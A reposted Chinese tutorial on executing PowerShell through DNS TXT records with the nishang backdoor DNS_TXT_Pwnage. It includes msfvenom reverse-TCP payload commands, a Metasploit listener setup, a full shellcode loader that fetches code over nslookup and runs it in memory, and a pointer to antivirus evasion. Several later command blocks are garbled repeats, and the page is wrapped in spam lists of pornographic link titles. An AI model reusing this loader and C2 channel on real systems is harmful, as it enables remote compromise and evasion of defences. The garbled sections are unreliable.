亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 開發 > PowerShell > 正文

通過DNS TXT記錄執行powershell

2020-10-29 20:55:31
字體:
來源:轉載
供稿:網友

0x00簡介

DNS TXT記錄一般用來記錄某個主機名或者域名設置的說明,在這里可以填寫任何東西,長度限制255。絕大多數的TXT記錄是用來做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用 nishang 通過創建TXT記錄執行powershell腳本。當然,首先你要有一個域名。

0x01創建TXT記錄

這里需要使用nishang中的一個腳本 OUT-DnsTxt 。

1.常見命令

因為常見命令比較短,所以可以直接添加到TXT記錄中,如下圖:

現在查看一下TXT記錄:

可以看到記錄已經成功添加了。

2.腳本

由于TXT記錄長度限制為255,如果要添加一個腳本到記錄里面,需要添加多個TXT記錄。下面是一個例子,自己寫了一個PSH腳本:

function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #>  [CmdletBinding()] Param ()  net user }

使用Out-Dnstxt進行轉換:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

由于這個腳本比較小,所以只生產兩行:

可以分別將這兩行內容按順序添加到 1.ps.domain.com到2.ps.domian.com中如下圖:

查看TXT,可以看到內容都已經添加好了:

0x02 執行Powershell

添加完了TXT記錄以后,通過 DNS_TXT_Pwnage.ps1 來執行這些腳本。

DNS_TXT_Pwnage.ps1 是一個通過DNS TXT來接收命令或者腳本的一個后門腳本

這里還需要添加兩條記錄,strat與stop,具體如下圖:

1.執行命令

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop

解釋一下參數:

startdomain 為創建的 start.domain ,返回一個字符串; cmdstring 為任意輸入的字符串; commanddomain 為創建的執行命令TXT記錄的域名; psstring 為任意輸入的字符串; psdomain 為創建的執行腳本TXT記錄的域名或子域名 ; Subdomains 為執行腳本創建TXT記錄的個數(如1.2中創建的腳本,該值為2); StopString 為任意輸入的字符串。

此處比較重要的參數為 startdomain ,他會與我們輸入的cmdstring以及psstring進行比較,如果與cmdstring值相等,則執行 commanddomain 即命令,與psstring相等則執行 psdomain 即腳本。

上面為執行命令,所以cmdstring值我們輸入為start,與start.evi1cg.me的txt記錄值相等,psstring隨便輸入,不留空就行。執行結果如下圖:

我們可以通過修改command.domain的TXT值來執行不同的命令。比如Get-Host:

2.執行腳本

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1 cg.me -Arguments Get-User -Subdomains 2 -StopString stop

這里要注意,psstring的值為start,與start.domain的TXT記錄相同,cmdstring為任意字符串。效果如下圖:

這里多一個參數 Arguments ,要寫明要執行的函數名,測試發現,在腳本中含有中文時會失敗。對于需要帶參數的腳本可以修改腳本指定參數值。

0x03 執行Shellcode

可以通過TXT記錄執行shellcode,首先,我們使用msf生成一個powershell的shellcode:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 &gt; pspayload.txt

使用Out-DnsTxt對生成的文件進行轉換:

PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt You need to create 3 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

然后將以上記錄分別添加到TXT記錄中,如下圖:

測試使用的32位win7系統,使用msf開啟監聽:

msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 8887 LPORT => 8887 msf exploit(handler) > set LHOST x.x.x.x LHOST => x.x.x.x msf exploit(handler) > exploit  [*] Started reverse handler on x.x.x.x:8887 [*] Starting the payload handler...

我們還需要一個獲取TXT記錄并執行的腳本,這里我改了一個腳本:

function Execute-Code { <# .PARAMETER Shelldomain The domain (or subdomain) whose subbdomain's TXT records would hold shellcode. .PARAMETER subdomains The number of subdomains which would be used to provide shellcode from their TXT records. .PARAMETER AUTHNS Authoritative Name Server for the domains. .EXAMPLE PS > Execute-Code The payload will ask for all required options. .EXAMPLE PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net. Use above from non-interactive shell. #>  [CmdletBinding()] Param(     [Parameter(Position = 0, Mandatory = $True)]     [String]     $Shelldomain,     [Parameter(Position = 1, Mandatory = $True)]     [String]     $Subdomains,        [Parameter(Position = 2, Mandatory = $True)]     [String]     $AUTHNS   )  function Get-ShellCode   {   Param(       [Parameter()]       [String]       $Shelldomain     )     $i = 1     while ($i -le $subdomains)     {       $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")        $temp = $getcommand | select-string -pattern "`""       $tmp1 = ""       $tmp1 = $tmp1 + $temp       $encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""       $i++     }    #$encdata = ""     $dec = [System.Convert]::FromBase64String($encdata)     $ms = New-Object System.IO.MemoryStream     $ms.Write($dec, 0, $dec.Length)     $ms.Seek(0,0) | Out-Null     $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)     $sr = New-Object System.IO.StreamReader($cs)     $sc = $sr.readtoend()   return $sc   }   $Shell = (Get-ShellCode $Shelldomain)   #Remove unrequired things from msf shellcode   $tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "   [Byte[]]$sc = $tmp -split ','   #Code Execution logic  $code = @"  [DllImport("kernel32.dll")]  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  [DllImport("kernel32.dll")]  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);  [DllImport("msvcrt.dll")]  public static extern IntPtr memset(IntPtr dest, uint src, uint count); "@   $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru  $size = 0x1000    if ($sc.Length -gt 0x1000) {$size = $sc.Length}    $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)    for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}  Try {     $winFunc::CreateThread(0,0,$x,0,0,0)     sleep 100000   }  Catch  {  [system.exception]  "caught a system exception"  } }

參數說明, Shelldomain 為創建txt記錄的域名或子域名; subdomains 為創建TXT域名的個數,如上面所創建的為3; AUTHNS 為域的權威名稱服務器,如我使用的狗爹,所以AUTHNS為f1g1ns2.dnspod.net

在32位win7上執行:

PS C:/Users/evi1cg/Desktop&gt; . ./Execute-Code.ps1

成功獲取meterpreter會話:

64位的請自行修改payload及腳本。

0x04 補充

Metasploit中已經含有此腳本 dns_txt_query_exec.rb ,此腳本查詢TXT記錄的順序為a.domain,b.domain…,下面是一個示例,首先生成payload:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw &gt; reverse.txt

使用下面的腳本對該文件進行切割:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

0

輸出如下:

將這三行分別添加到a.domain,b.domain,c.domain的TXT記錄中:

生成exe:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

1

msf開啟監聽:

PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt

2

運行exe,獲得meterpreter:

至于免殺,可以直接生成c格式的shellcode,然后按照 打造免殺payload 來做。

0x05 小結

本文主要介紹一種執行命令的方式以及nishang的腳本使用,希望能對大家有幫助。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产精品第一视频| 亚洲免费av电影| 亚洲女人被黑人巨大进入al| 欧美人与物videos| 久久69精品久久久久久久电影好| 45www国产精品网站| 久久精品国产91精品亚洲| 在线视频日韩精品| 国产视频精品久久久| 国产精品嫩草影院久久久| 成人www视频在线观看| 色婷婷成人综合| 欧美国产一区二区三区| 久久精品国产成人精品| 日韩精品免费看| 日韩电影中文字幕在线观看| 亚洲欧美国内爽妇网| 国产亚洲欧洲黄色| 一区二区三区国产视频| 亚洲欧美国产视频| 91精品国产综合久久香蕉的用户体验| 久久激情视频免费观看| 日韩视频免费在线| 欧美精品在线免费观看| 亚洲第一男人天堂| 久久久人成影片一区二区三区| 亚洲男人天堂网站| 91av视频在线播放| xx视频.9999.com| 成人乱人伦精品视频在线观看| 91av在线网站| 久久男人av资源网站| 欧美另类交人妖| 国产伦精品一区二区三区精品视频| 中文字幕久久久| 国产精品美女久久久久av超清| 中文字幕欧美日韩在线| 国产色视频一区| 精品美女永久免费视频| 欧美精品生活片| 国产福利精品av综合导导航| 国产日产亚洲精品| 亚洲第一av网| 中文字幕一精品亚洲无线一区| 91po在线观看91精品国产性色| 亚洲伊人一本大道中文字幕| 久久久久久18| 国产亚洲人成a一在线v站| 欧美性jizz18性欧美| 久久久av电影| 热门国产精品亚洲第一区在线| 色777狠狠综合秋免鲁丝| 国产成人91久久精品| 欧美电影在线免费观看网站| 日韩黄在线观看| 成人免费视频97| 在线观看不卡av| 欧美日韩一二三四五区| 一区二区三区视频免费| 国产欧美精品日韩精品| 欧美在线亚洲在线| 亚洲韩国青草视频| 亚洲欧美在线一区| 精品国产老师黑色丝袜高跟鞋| 91在线视频一区| 亚洲成人a**站| 热99精品只有里视频精品| 日韩在线观看免费全| 亚洲成色777777在线观看影院| 国产成人精品日本亚洲| 欧洲精品毛片网站| 久久精品99久久香蕉国产色戒| 久久精品精品电影网| 欧美国产日韩一区二区在线观看| 国产精品视频网址| 久久久久久av| 国产精品第一第二| 91久久嫩草影院一区二区| 亚洲视频第一页| 久久视频在线看| 欧美激情网站在线观看| 亚洲黄在线观看| 69久久夜色精品国产69乱青草| 亚洲欧洲日产国码av系列天堂| 亚洲福利视频网站| 91久久久久久国产精品| 欧美成人黄色小视频| 欧美理论电影网| 精品一区二区三区电影| 91欧美视频网站| 久久国产精品久久久久久| 欧美日韩国产二区| 91地址最新发布| 日本韩国欧美精品大片卡二| 中文字幕不卡在线视频极品| 91在线观看免费观看| 亚洲大胆人体在线| 亚洲国产又黄又爽女人高潮的| 在线视频欧美日韩精品| 91系列在线观看| 日本欧美爱爱爱| 久久久久久综合网天天| 欧美日韩国产成人高清视频| 欧美麻豆久久久久久中文| 日韩视频在线免费| 日韩精品免费综合视频在线播放| 成人精品在线观看| 亚洲国产精品人人爽夜夜爽| 狠狠色噜噜狠狠狠狠97| 国产精品流白浆视频| 91免费人成网站在线观看18| 欧美成人激情图片网| 国产精品都在这里| 亚洲精品白浆高清久久久久久| 亚洲肉体裸体xxxx137| 中文字幕久热精品在线视频| 深夜精品寂寞黄网站在线观看| 久久精品国产亚洲| 亚洲毛片一区二区| 欧美日本黄视频| 国产精品美女无圣光视频| 91精品国产电影| 国产亚洲日本欧美韩国| 欧美视频中文字幕在线| zzijzzij亚洲日本成熟少妇| 亚洲网站在线播放| 日韩网站免费观看| 国产精品中文字幕久久久| 久久精品影视伊人网| 亚洲精品之草原avav久久| 久久久久国产视频| 日韩精品在线观看视频| 91大神福利视频在线| 日韩在线观看免费高清完整版| 亚洲性夜色噜噜噜7777| 2019中文字幕在线| 欧美尺度大的性做爰视频| 午夜精品视频网站| 日韩有码在线观看| 成人两性免费视频| 欧美激情亚洲视频| 久久精品国产91精品亚洲| 正在播放亚洲1区| 日本道色综合久久影院| 国产精品极品美女粉嫩高清在线| 国产在线精品一区免费香蕉| 欧美噜噜久久久xxx| 日韩欧美高清视频| 欧美日韩加勒比精品一区| 91老司机精品视频| 欧美激情在线观看视频| 亚洲二区中文字幕| 国产精品高潮呻吟视频| 国产精品视频地址| 欧美亚洲国产另类| 美女扒开尿口让男人操亚洲视频网站| 亚洲大胆人体av| 国产97在线|亚洲| 久久亚洲一区二区三区四区五区高| 日韩中文字幕在线观看| 欧美人与性动交a欧美精品| 精品久久久久国产| 91久久久久久国产精品| 91大神福利视频在线|